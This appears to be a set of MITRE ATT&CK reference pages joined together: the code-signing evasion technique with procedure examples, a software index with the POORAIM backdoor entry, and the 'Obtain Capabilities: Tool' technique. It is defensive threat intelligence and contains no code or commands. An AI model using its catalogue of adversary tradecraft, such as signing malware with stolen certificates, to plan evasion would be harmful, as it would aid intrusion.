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may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. [1] The certificates used during an operation may be created, acquired, or stolen by the adversary. [2] [3] Unlike Invalid Code Signature, this activity will result in a valid signature. Code signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform. [1][4] Code signing certificates may be used to bypass security policies that require signed code to execute on a system. ID: T1553. Sub-technique of: T ⓘ Tactic: Defense Evasion ⓘ Platforms: Windows, macOS ⓘ Defense Bypassed: Windows User Account Control Version: 1. Created: 05 February Last Modified: 22 September Version Permalink Live Version Procedure Examples ID Name Description S Anchor Anchor has been signed with valid certificates to evade detection by security tools.[5] S AppleJeus AppleJeus has used a valid digital signature from Sectigo to appear legitimate.[6] G APT APT29 was able to get SUNBURST signed by SolarWinds code signing certificates by injecting the malware into the SolarWinds Orion software lifecycle.[7] G APT APT41 leveraged code-signing certificates to sign malware when targeting both gaming and non-gaming organizations.[8][9] S BackConfig BackConfig has been signed with self signed digital certificates mimicking a legitimate software company.[10] S Bandook Bandook was signed with valid Certum certificates.[11] S Bazar Bazar has been signed with fake certificates including those appearing to be from VB CORPORATE PTY. LTD.[12] S BLINDINGCAN BLINDINGCAN has been signed with code-signing certificates such as CodeRipper.[13] S BOOSTWRITE BOOSTWRITE has been signed by a valid CA.[14] C C For C0015, the threat actors used DLL files that had invalid certificates.[15] S ChChes ChChes samples were digitally signed with a certificate originally used by Hacking Team that was later leaked and subsequently revoked.[16][17][18] S Clop Clop can use code signing to evade detection.[19] S Cobalt Strike Cobalt Strike can use self signed Java applets to execute signed applet attacks.[20][21] G CopyKittens CopyKittens digitally signed an executable with a stolen certificate from legitimate company AI Squared.[22] S CSPY Downloader CSPY Downloader has come signed with revoked certificates.[23] G Darkhotel Darkhotel has used code-signing certificates on its malware that are either forged due to weak keys or stolen. Darkhotel has also stolen certificates and signed backdoors and downloaders with them.[24][25] S Daserf Some Daserf samples were signed with a stolen digital certificate.[26] S Ebury Ebury has installed a self-signed RPM package mimicking the original system package on RPM based systems.[27] S Ecipekac Ecipekac has used a valid, legitimate digital signature to evade detection.[28] G Ember Bear Ember Bear has used stolen certificates from Electrum Technologies GmbH to sign payloads.[29] S Epic Turla has used valid digital certificates from Sysprint AG to sign its Epic dropper.[30] G FIN FIN6 has used Comodo code-signing certificates.[31] G FIN FIN7 has signed Carbanak payloads with legally purchased code signing certificates. FIN7 has also digitally signed their phishing documents, backdoors and other staging tools to bypass security controls.[32][33] G GALLIUM GALLIUM has used stolen certificates to sign its tools including those from Whizzimo LLC.[34] S Gazer Gazer versions are signed with various valid certificates; one was likely faked and issued by Comodo for "Solid Loop Ltd," and another was issued for "Ultimate Computer Support Ltd."[35][36] S GreyEnergy GreyEnergy digitally signs the malware with a code-signing certificate.[37] S Helminth Helminth samples have been signed with legitimate, compromised code signing certificates owned by software company AI Squared.[38] S HermeticWiper The HermeticWiper executable has been signed with a legitimate certificate issued to Hermetica Digital Ltd.[39][40][41][42] S HermeticWizard HermeticWizard has been signed by valid certificates assigned to Hermetica Digital.[43] S Janicab Janicab used a valid AppleDeveloperID to sign the code to get past security restrictions.[44] G Kimsuky Kimsuky has signed files with the name EGIS CO,. Ltd..[45] G Lazarus Group Lazarus Group has digitally signed malware and utilities to evade detection.[46][47] G Leviathan Leviathan has used stolen code signing certificates to sign malware.[48][49] S LockerGoga LockerGoga has been signed with stolen certificates in order to make it look more legitimate.[50] G menuPass menuPass has resized and added data to the certificate table to enable the signing of modified files with legitimate signatures.[28] S Metamorfo Metamorfo has digitally signed executables using AVAST Software certificates.[51] G Molerats Molerats has used forged Microsoft code-signing certificates on malware.[52] S More_eggs More_eggs has used a signed binary shellcode loader and a signed Dynamic Link Library (DLL) to create a reverse shell.[31] G Moses Staff Moses Staff has used signed drivers from an open source tool called DiskCryptor to evade detection.[53] S Nerex Nerex drops a signed Microsoft DLL to disk.[54] C Operation Honeybee During Operation Honeybee, the threat actors deployed the MaoCheng dropper with a stolen Adobe Systems digital signature.[55] G Patchwork Patchwork has signed malware with self-signed certificates from fictitious and spoofed legitimate software companies.[10] S PipeMon PipeMon, its installer, and tools are signed with stolen code-signing certificates.[56] G PROMETHIUM PROMETHIUM has signed code with self-signed certificates.[57] S QakBot QakBot can use signed loaders to evade detection.[58] S QuasarRAT A QuasarRAT .dll file is digitally signed by a certificate from AirVPN.[59] S RTM RTM samples have been signed with a code-signing certificates.[60] G Silence Silence has used a valid certificate to sign their primary loader Silence.Downloader (aka TrueBot).[61] S SpicyOmelette SpicyOmelette has been signed with valid digital certificates.[62] S StrongPity StrongPity has been signed with self-signed certificates.[57] S Stuxnet Stuxnet used a digitally signed driver with a compromised Realtek certificate.[63] G Suckfly Suckfly has used stolen certificates to sign its malware.[64] S SUNBURST SUNBURST was digitally signed by SolarWinds from March - May 2020.[7] G TA TA505 has signed payloads with code signing certificates from Thawte and Sectigo.[65][66][67] S TrickBot TrickBot has come with a signed downloader component.[5] G Winnti Group Winnti Group used stolen certificates to sign its malware.[68] G Wizard Spider Wizard Spider has used Digicert code-signing certificates for some of its malware.[69] Mitigations This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features. Detection ID Data Source Data Component Detects DS File File Metadata Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. References - Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016. - Ladikov, A. (2015, January 29). Why You Shouldn’t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016. - Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016. - Howard Oakley. (2020, November 16). Checks on executable code in Catalina and Big Sur: a first draft. Retrieved September 21, 2022. - Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020. - Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021. - FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021. - Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019. - Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021. - Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020. - Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021. - Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020. - US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020. - Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators’ New Tools and Techniques. Retrieved October 11, 2019. - DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022. - Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017. - Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017. - PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017. - Santos, D. (2021, April 13). Threat Assessment: Clop Ransomware. Retrieved July 30, 2021. - Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved April 6, 2021. - Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021. - ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017. - Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020. - Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT
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versions_v12_techniques_T1553_002.txt
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Currently viewing ATT&CK v8.2 which was live between October 27, 2020 and April 28, 2021. Learn more about the versioning system or see the live site. SOFTWARE Overview 3PARA RAT 4H RAT ABK adbupd AdFind Adups ADVSTORESHELL Agent Smith Agent Tesla Agent.btz Allwinner Anchor Android/Chuli.A ANDROIDOS_ANSERVER.A AndroRAT Anubis Aria-body Arp ASPXSpy Astaroth at Attor AuditCred AutoIt backdoor Avenger Azorult BabyShark BackConfig Backdoor.Oldrea BACKSPACE BADCALL BADNEWS BadPatch Bandook Bankshot BBK BBSRAT BISCUIT Bisonal BITSAdmin BLACKCOFFEE BlackEnergy BloodHound Bonadan BONDUPDATER BOOSTWRITE BOOTRASH BrainTest Brave Prince Bread Briba BS BUBBLEWRAP build_downer Bundlore Cachedump Cadelspy CALENDAR Calisto CallMe Cannon Carbanak Carberp Carbon Cardinal RAT CARROTBALL CARROTBAT Catchamas CCBkdr Cerberus certutil Chaos Charger ChChes Cherry Picker China Chopper CHOPSTICK CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT Concipit CookieMiner CORALDECK CORESHELL Corona Updates CosmicDuke CozyCar CrackMapExec Crimson CrossRAT Cryptoistic Dacls DarkComet Daserf DDKONG DealersChoice DEFENSOR ID Dendroid Denis Derusbi Desert Scorpion Dipsind DOGCALL Dok down_new Downdelph DownPaper DressCode Dridex DroidJack Drovorub dsquery DualToy Duqu DustySky Dvmap Dyre Ebury Elise ELMER Emissary Emotet Empire Epic esentutl eSurv EventBot EvilBunny EvilGrab Exaramel for Linux Exaramel for Windows Exodus Expand FakeM FakeSpy FALLCHILL FatDuke Felismus FELIXROOT Fgdump Final1stspy FinFisher Flame FLASHFLOOD FlawedAmmyy FlawedGrace FlexiSpy FLIPSIDE Forfiles FrameworkPOS FruitFly FTP Fysbis Gazer GeminiDuke Get gh0st RAT Ginp GLOOXMAIL Gold Dragon GoldenSpy GolfSpy Gooligan Goopy GravityRAT GreyEnergy GRIFFON gsecdump Gustuff H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS Hancitor HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor Helminth Hi-Zor HiddenWasp HIDEDRV Hikit HOMEFRY HOPLIGHT HotCroissant HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro IcedID ifconfig iKitten Imminent Monitor Impacket InnaputRAT INSOMNIA InvisiMole Invoke-PSImage ipconfig ISMInjector Ixeshe Janicab JCry JHUHUGIT JPIN jRAT Judy KARAE Kasidet Kazuar Kessel KeyBoy Keydnap KEYMARBLE KeyRaider Kivars Koadic Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LockerGoga LoJax Lokibot LoudMiner LOWBALL Lslsass Lurid Machete MacSpy MailSniper Mandrake Marcher Matroyshka MazarBOT Maze MCMD MechaFlounder meek MESSAGETAP Metamorfo Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder Monokle MoonWind More_eggs Mosquito MURKYTOP Naid NanHaiShu NanoCore NavRAT nbtstat NDiskMonitor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler Netwalker NETWIRE Ngrok Nidiran njRAT Nltest NOKKI NotCompatible NotPetya OBAD OceanSalt Octopus Okrum OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX/Shlayer OSX_OCEANLOTUS.D OwaAuth P2P ZeuS Pallas Pasam Pass-The-Hash Toolkit Pegasus for Android Pegasus for iOS PHOREAL Pillowmint PinchDuke Ping PipeMon Pisloader PJApps PLAINTEE PLEAD PlugX pngdowner PoetRAT PoisonIvy PolyglotDuke Pony POORAIM PoshC POSHSPY Power Loader PowerDuke PowerShower POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka Proton Proxysvc PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump QUADAGENT QuasarRAT Ragnar Locker Raindrop Ramsay RARSTONE RATANKBA RawDisk RawPOS RCSAndroid RDAT RDFSNIFFER Reaver RedDrop RedLeaves Reg RegDuke Regin Remcos Remexi RemoteCMD Remsec Responder Revenge RAT REvil RGDoor Rifdoor Riltok RIPTIDE Rising Sun RobbinHood ROCKBOOT RogueRobin ROKRAT Rotexy route Rover RTM Ruler RuMMS RunningRAT Ryuk S-Type Sakula SamSam schtasks SDBot SDelete SeaDuke Seasalt SEASHARPEE ServHelper Shamoon SHARPSTATS ShiftyBug ShimRat ShimRatReporter SHIPSHAPE SHOTPUT SHUTTERSPEED SimBad Skeleton Key Skidmap Skygofree SLOWDRIFT Smoke Loader SNUGRIDE Socksbot SoreFang SOUNDBITE SPACESHIP SpeakUp spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx StrongPity Sunburst Sunspot Sykipot SynAck SYNful Knock Sys SYSCON Systeminfo T Taidoor TajMahal Tangelo Tasklist TDTESS Teardrop TEXTMATE TINYTYPHON TinyZBot Tor Triada TrickBot TrickMo Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TSCookie TURNEDUP Twitoor TYPEFRAME UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBferry USBStealer Valak Vasport VBShower VERMIN ViceLeaker ViperRAT Volgmer WannaCry WEBC WellMail WellMess Wiarp Windows Credential Editor WINDSHIELD WindTail WINERACK Winexe Wingbird WinMM Winnti for Linux Winnti for Windows Wiper WireLurker WolfRAT X-Agent for Android XAgentOSX Xbash Xbot xCmd XcodeGhost XLoader for Android XLoader for iOS XTunnel YAHOYAH YiSpecter yty Zebrocy Zen ZergHelper Zeroaccess ZeroT Zeus Panda ZLib zwShell ZxShell SOFTWARE Overview 1- 3PARA RAT 4H RAT A-B ABK adbupd AdFind Adups ADVSTORESHELL Agent Smith Agent Tesla Agent.btz Allwinner Anchor Android/Chuli.A ANDROIDOS_ANSERVER.A AndroRAT Anubis Aria-body Arp ASPXSpy Astaroth at Attor AuditCred AutoIt backdoor Avenger Azorult BabyShark BackConfig Backdoor.Oldrea BACKSPACE BADCALL BADNEWS BadPatch Bandook Bankshot BBK BBSRAT BISCUIT Bisonal BITSAdmin BLACKCOFFEE BlackEnergy BloodHound Bonadan BONDUPDATER BOOSTWRITE BOOTRASH BrainTest Brave Prince Bread Briba BS BUBBLEWRAP build_downer Bundlore C-D Cachedump Cadelspy CALENDAR Calisto CallMe Cannon Carbanak Carberp Carbon Cardinal RAT CARROTBALL CARROTBAT Catchamas CCBkdr Cerberus certutil Chaos Charger ChChes Cherry Picker China Chopper CHOPSTICK CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT Concipit CookieMiner CORALDECK CORESHELL Corona Updates CosmicDuke CozyCar CrackMapExec Crimson CrossRAT Cryptoistic Dacls DarkComet Daserf DDKONG DealersChoice DEFENSOR ID Dendroid Denis Derusbi Desert Scorpion Dipsind DOGCALL Dok down_new Downdelph DownPaper DressCode Dridex DroidJack Drovorub dsquery DualToy Duqu DustySky Dvmap Dyre E-F Ebury Elise ELMER Emissary Emotet Empire Epic esentutl eSurv EventBot EvilBunny EvilGrab Exaramel for Linux Exaramel for Windows Exodus Expand FakeM FakeSpy FALLCHILL FatDuke Felismus FELIXROOT Fgdump Final1stspy FinFisher Flame FLASHFLOOD FlawedAmmyy FlawedGrace FlexiSpy FLIPSIDE Forfiles FrameworkPOS FruitFly FTP Fysbis G-H Gazer GeminiDuke Get gh0st RAT Ginp GLOOXMAIL Gold Dragon GoldenSpy GolfSpy Gooligan Goopy GravityRAT GreyEnergy GRIFFON gsecdump Gustuff H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS Hancitor HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor Helminth Hi-Zor HiddenWasp HIDEDRV Hikit HOMEFRY HOPLIGHT HotCroissant HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro I-J IcedID ifconfig iKitten Imminent Monitor Impacket InnaputRAT INSOMNIA InvisiMole Invoke-PSImage ipconfig ISMInjector Ixeshe Janicab JCry JHUHUGIT JPIN jRAT Judy K-L KARAE Kasidet Kazuar Kessel KeyBoy Keydnap KEYMARBLE KeyRaider Kivars Koadic Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LockerGoga LoJax Lokibot LoudMiner LOWBALL Lslsass Lurid M-N Machete MacSpy MailSniper Mandrake Marcher Matroyshka MazarBOT Maze MCMD MechaFlounder meek MESSAGETAP Metamorfo Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder Monokle MoonWind More_eggs Mosquito MURKYTOP Naid NanHaiShu NanoCore NavRAT nbtstat NDiskMonitor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler Netwalker NETWIRE Ngrok Nidiran njRAT Nltest NOKKI NotCompatible NotPetya O-P OBAD OceanSalt Octopus Okrum OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX/Shlayer OSX_OCEANLOTUS.D OwaAuth P2P ZeuS Pallas Pasam Pass-The-Hash Toolkit Pegasus for Android Pegasus for iOS PHOREAL Pillowmint PinchDuke Ping PipeMon Pisloader PJApps PLAINTEE PLEAD PlugX pngdowner PoetRAT PoisonIvy PolyglotDuke Pony POORAIM PoshC POSHSPY Power Loader PowerDuke PowerShower POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka Proton Proxysvc PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump Q-R QUADAGENT QuasarRAT Ragnar Locker Raindrop Ramsay RARSTONE RATANKBA RawDisk RawPOS RCSAndroid RDAT RDFSNIFFER Reaver RedDrop RedLeaves Reg RegDuke Regin Remcos Remexi RemoteCMD Remsec Responder Revenge RAT REvil RGDoor Rifdoor Riltok RIPTIDE Rising Sun RobbinHood ROCKBOOT RogueRobin ROKRAT Rotexy route Rover RTM Ruler RuMMS RunningRAT Ryuk S-T S-Type Sakula SamSam schtasks SDBot SDelete SeaDuke Seasalt SEASHARPEE ServHelper Shamoon SHARPSTATS ShiftyBug ShimRat ShimRatReporter SHIPSHAPE SHOTPUT SHUTTERSPEED SimBad Skeleton Key Skidmap Skygofree SLOWDRIFT Smoke Loader SNUGRIDE Socksbot SoreFang SOUNDBITE SPACESHIP SpeakUp spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx StrongPity Sunburst Sunspot Sykipot SynAck SYNful Knock Sys SYSCON Systeminfo T Taidoor TajMahal Tangelo Tasklist TDTESS Teardrop TEXTMATE TINYTYPHON TinyZBot Tor Triada TrickBot TrickMo Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TSCookie TURNEDUP Twitoor TYPEFRAME U-V UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBferry USBStealer Valak Vasport VBShower VERMIN ViceLeaker ViperRAT Volgmer W-X WannaCry WEBC WellMail WellMess Wiarp Windows Credential Editor WINDSHIELD WindTail WINERACK Winexe Wingbird WinMM Winnti for Linux Winnti for Windows Wiper WireLurker WolfRAT X-Agent for Android XAgentOSX Xbash Xbot xCmd XcodeGhost XLoader for Android XLoader for iOS XTunnel Y-Z YAHOYAH YiSpecter yty Zebrocy Zen ZergHelper Zeroaccess ZeroT Zeus Panda ZLib zwShell ZxShell - Home - Software - POORAIM POORAIM POORAIM is a backdoor used by APT37 in campaigns since at least 2014. [1] ID: S Type: MALWARE Platforms: Windows Version: 1. Created: 18 April Last Modified: 30 March Version Permalink Live Version ATT&CK® Navigator Layers Enterprise Layer download view Techniques Used Domain ID Name Use Enterprise T Drive-by Compromise POORAIM has been delivered through compromised sites acting as watering holes.[1] Enterprise T File and Directory Discovery POORAIM can conduct file browsing.[1] Enterprise T Process Discovery POORAIM can enumerate processes.[1] Enterprise T Screen Capture POORAIM can perform screen capturing.[1] Enterprise T System Information Discovery POORAIM can identify system information, including battery status.[1] Enterprise T . Web Service: Bidirectional Communication POORAIM has used AOL Instant Messenger for C2.[1] Groups That Use This Software ID Name References G APT [1] References - FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018. × load more results
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versions_v8_software_S0216.txt
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Hooking Man-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Network Sniffing OS Credential Dumping LSASS Memory Security Account Manager NTDS LSA Secrets Cached Domain Credentials DCSync Proc Filesystem /etc/passwd and /etc/shadow Steal Application Access Token Steal or Forge Kerberos Tickets Golden Ticket Silver Ticket Kerberoasting AS-REP Roasting Steal Web Session Cookie Two-Factor Authentication Interception Unsecured Credentials Credentials In Files Credentials in Registry Bash History Private Keys Cloud Instance Metadata API Group Policy Preferences Container API Discovery Account Discovery Local Account Domain Account Email Account Cloud Account Application Window Discovery Browser Bookmark Discovery Cloud Infrastructure Discovery Cloud Service Dashboard Cloud Service Discovery Container and Resource Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Local Groups Domain Groups Cloud Groups Process Discovery Query Registry Remote System Discovery Software Discovery Security Software Discovery System Information Discovery System Location Discovery System Network Configuration Discovery Internet Connection Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Lateral Movement Exploitation of Remote Services Internal Spearphishing Lateral Tool Transfer Remote Service Session Hijacking SSH Hijacking RDP Hijacking Remote Services Remote Desktop Protocol SMB/Windows Admin Shares Distributed Component Object Model SSH VNC Windows Remote Management Replication Through Removable Media Software Deployment Tools Taint Shared Content Use Alternate Authentication Material Application Access Token Pass the Hash Pass the Ticket Web Session Cookie Collection Archive Collected Data Archive via Utility Archive via Library Archive via Custom Method Audio Capture Automated Collection Clipboard Data Data from Cloud Storage Object Data from Configuration Repository SNMP (MIB Dump) Network Device Configuration Dump Data from Information Repositories Confluence Sharepoint Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Local Data Staging Remote Data Staging Email Collection Local Email Collection Remote Email Collection Email Forwarding Rule Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Man in the Browser Man-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning Screen Capture Video Capture Command and Control Application Layer Protocol Web Protocols File Transfer Protocols Mail Protocols DNS Communication Through Removable Media Data Encoding Standard Encoding Non-Standard Encoding Data Obfuscation Junk Data Steganography Protocol Impersonation Dynamic Resolution Fast Flux DNS Domain Generation Algorithms DNS Calculation Encrypted Channel Symmetric Cryptography Asymmetric Cryptography Fallback Channels Ingress Tool Transfer Multi-Stage Channels Non-Application Layer Protocol Non-Standard Port Protocol Tunneling Proxy Internal Proxy External Proxy Multi-hop Proxy Domain Fronting Remote Access Software Traffic Signaling Port Knocking Web Service Dead Drop Resolver Bidirectional Communication One-Way Communication Exfiltration Automated Exfiltration Traffic Duplication Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Symmetric Encrypted Non-C2 Protocol Exfiltration Over Asymmetric Encrypted Non-C2 Protocol Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol Exfiltration Over C2 Channel Exfiltration Over Other Network Medium Exfiltration Over Bluetooth Exfiltration Over Physical Medium Exfiltration over USB Exfiltration Over Web Service Exfiltration to Code Repository Exfiltration to Cloud Storage Scheduled Transfer Transfer Data to Cloud Account Impact Account Access Removal Data Destruction Data Encrypted for Impact Data Manipulation Stored Data Manipulation Transmitted Data Manipulation Runtime Data Manipulation Defacement Internal Defacement External Defacement Disk Wipe Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service OS Exhaustion Flood Service Exhaustion Flood Application Exhaustion Flood Application or System Exploitation Firmware Corruption Inhibit System Recovery Network Denial of Service Direct Network Flood Reflection Amplification Resource Hijacking Service Stop System Shutdown/Reboot Mobile Initial Access Deliver Malicious App via Authorized App Store Deliver Malicious App via Other Means Drive-by Compromise Exploit via Charging Station or PC Exploit via Radio Interfaces Install Insecure or Malicious Configuration Lockscreen Bypass Masquerade as Legitimate Application Supply Chain Compromise Execution Broadcast Receivers Command-Line Interface Native Code Scheduled Task/Job Persistence Broadcast Receivers Code Injection Compromise Application Executable Foreground Persistence Modify Cached Executable Code Modify OS Kernel or Boot Partition Modify System Partition Modify Trusted Execution Environment Scheduled Task/Job Privilege Escalation Code Injection Device Administrator Permissions Exploit OS Vulnerability Exploit TEE Vulnerability Defense Evasion Application Discovery Code Injection Delete Device Data Device Lockout Disguise Root/Jailbreak Indicators Download New Code at Runtime Evade Analysis Environment Geofencing Input Injection Install Insecure or Malicious Configuration Masquerade as Legitimate Application Modify OS Kernel or Boot Partition Modify System Partition Modify Trusted Execution Environment Native Code Obfuscated Files or Information Proxy Through Victim Suppress Application Icon Uninstall Malicious Application Credential Access Access Notifications Access Sensitive Data in Device Logs Access Stored Application Data Capture Clipboard Data Capture SMS Messages Exploit TEE Vulnerability Input Capture Input Prompt Keychain Network Traffic Capture or Redirection URI Hijacking Discovery Application Discovery Evade Analysis Environment File and Directory Discovery Location Tracking Network Service Scanning Process Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery Lateral Movement Attack PC via USB Connection Exploit Enterprise Resources Collection Access Calendar Entries Access Call Log Access Contact List Access Notifications Access Sensitive Data in Device Logs Access Stored Application Data Capture Audio Capture Camera Capture Clipboard Data Capture SMS Messages Data from Local System Foreground Persistence Input Capture Location Tracking Network Information Discovery Network Traffic Capture or Redirection Screen Capture Command and Control Alternate Network Mediums Commonly Used Port Domain Generation Algorithms Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Uncommonly Used Port Web Service Exfiltration Alternate Network Mediums Commonly Used Port Data Encrypted Standard Application Layer Protocol Impact Carrier Billing Fraud Clipboard Modification Data Encrypted for Impact Delete Device Data Device Lockout Generate Fraudulent Advertising Revenue Input Injection Manipulate App Store Rankings or Ratings Modify System Partition SMS Control Network Effects Downgrade to Insecure Protocols Eavesdrop on Insecure Network Communication Exploit SS7 to Redirect Phone Calls/SMS Exploit SS7 to Track Device Location Jamming or Denial of Service Manipulate Device Communication Rogue Cellular Base Station Rogue Wi-Fi Access Points SIM Card Swap Remote Service Effects Obtain Device Cloud Backups Remotely Track Device Without Authorization Remotely Wipe Data Without Authorization - Home - Techniques - Enterprise - Obtain Capabilities - Tool Obtain Capabilities: Tool Other sub-techniques of Obtain Capabilities (6) ID Name T1588. Malware T1588. Tool T1588. Code Signing Certificates T1588. Digital Certificates T1588. Exploits T1588. Vulnerabilities Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.[1] Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). ID: T1588. Sub-technique of: T ⓘ Tactic: Resource Development ⓘ Platforms: PRE Version: 1. Created: 01 October Last Modified: 15 April Version Permalink Live Version Procedure Examples ID Name Description G GALLIUM GALLIUM has used a variety of widely-available tools, which in some cases they modified to add functionality and/or subvert antimalware solutions.[2] G MuddyWater MuddyWater has made use of legitimate tools ConnectWise and RemoteUtilities for access to target environments.[3] G Sandworm Team Sandworm Team has acquired open-source tools for some of it's operations; for example it acquired Invoke-PSImage to establish an encrypted channel from a compromised host to Sandworm Team's C2 server as part of its preparation for the 2018 Winter Olympics attack.[4] G Silent Librarian Silent Librarian has obtained free and publicly available tools including SingleFile and HTTrack to copy login pages of targeted organizations.[5][6] Mitigations ID Mitigation Description M Pre-compromise This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Detection Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. References - Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved October 16, 2020. - MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021. - Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021. - Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020. - Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021. - Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School…Again. Retrieved February 3, 2021. × load more results
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versions_v9_techniques_T1588_002.txt
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